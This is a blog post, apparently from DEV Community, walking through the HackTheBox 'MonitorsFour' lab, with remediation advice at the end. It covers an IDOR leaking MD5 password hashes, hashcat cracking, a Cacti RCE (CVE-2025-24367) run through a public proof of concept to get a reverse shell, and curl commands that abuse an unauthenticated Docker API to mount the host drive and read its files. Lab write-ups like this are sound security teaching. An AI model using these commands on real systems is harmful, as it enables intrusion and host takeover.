DEV Community

Cover image for HTB — MonitorsFour | Writeup
WhyShell
WhyShell

Posted on

HTB — MonitorsFour | Writeup

🇫🇷 Version française

Platform: HackTheBox | Difficulty: Easy | OS: Windows (Docker Desktop / WSL2)
Machine: HTB — MonitorsFour
Chain: IDOR → Hash cracking → Cacti RCE → Docker escape


Overview

MonitorsFour is a Windows box that hides almost its entire attack surface behind a PHP web application and a containerized infrastructure. The path unfolds in four acts: a logic flaw in an API leaks credentials, those credentials grant access to a vulnerable monitoring service with an RCE, the resulting shell lands inside a Docker container, and the final escape leverages the Docker API exposed without authentication on the internal network.


1. Reconnaissance

rustscan -a $IP --ulimit 5000 -- -sC -sV
Enter fullscreen mode Exit fullscreen mode
Port Service Notes
80 HTTP nginx Redirects to monitorsfour.htb — virtual hosting
5985 WinRM (Microsoft HTTPAPI) Windows shell access if valid creds

Why this matters: The nginx + WinRM combination on a Windows box is a classic containerization signal. nginx typically runs on Linux — here it's inside a Docker Desktop container on the Windows host. Port 5985 is the actual Windows WinRM. This observation should have triggered suspicion immediately.

echo "$IP monitorsfour.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

2. Web Enumeration

Subdomain discovery

ffuf -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt \
     -u http://monitorsfour.htb \
     -H "Host: FUZZ.monitorsfour.htb" \
     -ac -t 50 -s | tee fuzz.txt
# cacti
Enter fullscreen mode Exit fullscreen mode

Result: cacti.monitorsfour.htb

[IMAGE: Cacti interface — login page]

echo "$IP monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Why fuzz vhosts: A single server can host multiple websites based on the HTTP Host: header. Since the box already uses virtual hosting (the IP → domain redirect gives it away), there are likely other hidden sites behind the same IP. cacti.monitorsfour.htb turns out to be the real entry point.

Endpoint enumeration

ffuf -u http://monitorsfour.htb/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -e .php -t 50 -mc 200,301,302,403 -ic
Enter fullscreen mode Exit fullscreen mode
Route Status Notes
/login 200 Login page
/forgot-password 200 Password reset
/user 200 API endpoint — 35 bytes response
/static 301 Assets
/controllers 403 Source code not directly accessible
curl "http://monitorsfour.htb/user"
# {"error":"Missing token parameter"}

curl "http://monitorsfour.htb/user?token=test"
# {"error":"Invalid or missing token"}
Enter fullscreen mode Exit fullscreen mode

3. IDOR — Credential leak via token=0

The flaw: The /user?token= endpoint validates a user identifier. The controller logic does (in pseudocode):

if ($token) {
    return get_user($token);   // valid token → one user
} else {
    return get_all_users();    // otherwise → ALL users
}
Enter fullscreen mode Exit fullscreen mode

The developer wrote if ($token) instead of if ($token !== null). In PHP, the value 0 is falsyif(0) evaluates to false. Passing token=0 falls into the else branch and returns the entire table.

This is an IDOR (Insecure Direct Object Reference) combined with a falsy value logic flaw. Key takeaway: always test 0, -1, empty string, null on any identification parameter.

curl -s "http://monitorsfour.htb/user?token=0" | python3 -m json.tool
Enter fullscreen mode Exit fullscreen mode

Result:

[
  {"username": "admin", "password": "56b32eb43e6f15395f6c46c1c9e1cd36", "name": "Marcus Higgins"},
  {"username": "mwatson", "password": "69196959c16b26ef00b77d82cf6eb169", "name": "Michael Watson"}
]
Enter fullscreen mode Exit fullscreen mode

4. MD5 Hash Cracking

The hashes are unsalted MD5 — trivial to crack.

# On Mac with native Hashcat (M5 GPU via Metal)
echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hashes.txt
hashcat -m 0 hashes.txt ~/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Result: 56b32eb43e6f15395f6c46c1c9e1cd36wonderful1

Why MD5 is dangerous: Unsalted MD5 can be cracked in seconds on a modern GPU. Identical passwords always produce identical hashes, and rainbow tables cover most common passwords.


5. Cacti Access — CVE-2025-24367 (Authenticated RCE)

Navigate to http://cacti.monitorsfour.htb/cacti/ — the version is displayed at the bottom: Cacti 1.2.28.

Credential subtlety: The API username is admin, but the full name is Marcus Higgins. Cacti uses the first name as the login identifier → authenticate with marcus / wonderful1.

CVE-2025-24367: Cacti 1.2.28 is vulnerable to an authenticated RCE. The exploit abuses the graphs/templates feature to generate a PHP file in the webroot and then trigger it.

# T1 — Listener
penelope -p 9001

# T4 — Exploit
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC
sudo python3 exploit.py \
  -url http://cacti.monitorsfour.htb \
  -u marcus -p wonderful1 \
  -i $ME -l 9001
Enter fullscreen mode Exit fullscreen mode

Shell obtained: www-data inside a Docker container.

[IMAGE: www-data shell — whoami + hostname output]


6. Post-exploitation — Inside the container

id        # uid=33(www-data)
hostname  # 821fbd6a43fa  ← short hash = Docker container ID
ip addr   # 172.18.0.3/16 on eth0
ip route  # default via 172.18.0.1
Enter fullscreen mode Exit fullscreen mode

User flag:

cat /home/marcus/user.txt
Enter fullscreen mode Exit fullscreen mode

[IMAGE: User flag]


7. Container Escape — CVE-2025-9074 (Unauthenticated Docker API)

Context: Docker Desktop on Windows exposes its REST API on 192.168.65.7:2375 without authentication. CVE-2025-9074 documents exactly this exposure: Linux containers can reach this endpoint and interact with the Windows host's Docker Engine.

curl -s http://192.168.65.7:2375/version
# {"Platform":{"Name":"Docker Engine - Community"},...,"Version":"28.3.2",...}
Enter fullscreen mode Exit fullscreen mode

On Docker Desktop + WSL2, the C:\ Windows drive is exposed under /mnt/host/c. We create a container that mounts this path:

curl -s -X POST -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
    "HostConfig": {
      "Binds": ["/mnt/host/c:/mnt/host_root"]
    }
  }' \
  http://192.168.65.7:2375/containers/create -o /tmp/response.json

cid=$(grep -o '"Id":"[^"]*"' /tmp/response.json | cut -d'"' -f4)
curl -s -X POST http://192.168.65.7:2375/containers/$cid/start
sleep 2
curl -s "http://192.168.65.7:2375/containers/$cid/logs?stdout=true" --output -
Enter fullscreen mode Exit fullscreen mode

[IMAGE: Root flag]

Root flag obtained.


Full Attack Chain

IDOR token=0
    → MD5 hash leaked (admin / marcus)
        → Hashcat → wonderful1
            → Cacti login (marcus:wonderful1)
                → CVE-2025-24367 → RCE → www-data shell
                    → Docker container (172.18.0.3)
                        → Docker API 192.168.65.7:2375 (CVE-2025-9074)
                            → bind mount /mnt/host/c
                                → root.txt ✅
Enter fullscreen mode Exit fullscreen mode

🛡️ How to Fix These Vulnerabilities

1. IDOR + falsy logic on /user?token=

Fix: Replace if ($token) with if ($token !== null && $token !== ''). Add mandatory authentication on all API endpoints.

2. Unsalted MD5 hashes

Fix: Use password_hash() in PHP (bcrypt by default) or Argon2id. Never store MD5/SHA1 for passwords.

3. Cacti 1.2.28 — CVE-2025-24367

Fix: Update Cacti. Restrict access by IP. Apply the principle of least privilege.

4. Unauthenticated Docker API — CVE-2025-9074

Fix: Disable "Expose daemon on tcp://localhost:2375 without TLS". If TCP is required → TLS + mutual certificates. Isolate containers on dedicated networks.


💡 Key Takeaways

  • Test falsy values (0, -1, "", null) on any identification parameter.
  • Don't give up on vhost fuzzing too earlycacti was the real attack surface.
  • Read HTTP headersX-Powered-By: PHP/8.3.27 + PHPSESSID reveal the tech stack from the very first curl.
  • nginx on Windows = likely containerization — TTL 127 + nginx = strong Docker Desktop signal.
  • Unauthenticated Docker API = immediate root — reaching port 2375 from a compromised container is game over.

📺 Watch the video walkthrough: YouTube WhyShell
🇫🇷 Version française

Top comments (0)